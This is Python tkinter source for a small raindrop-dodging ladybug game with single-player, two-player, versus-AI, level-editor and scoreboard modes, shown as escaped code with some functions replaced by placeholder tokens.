rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n 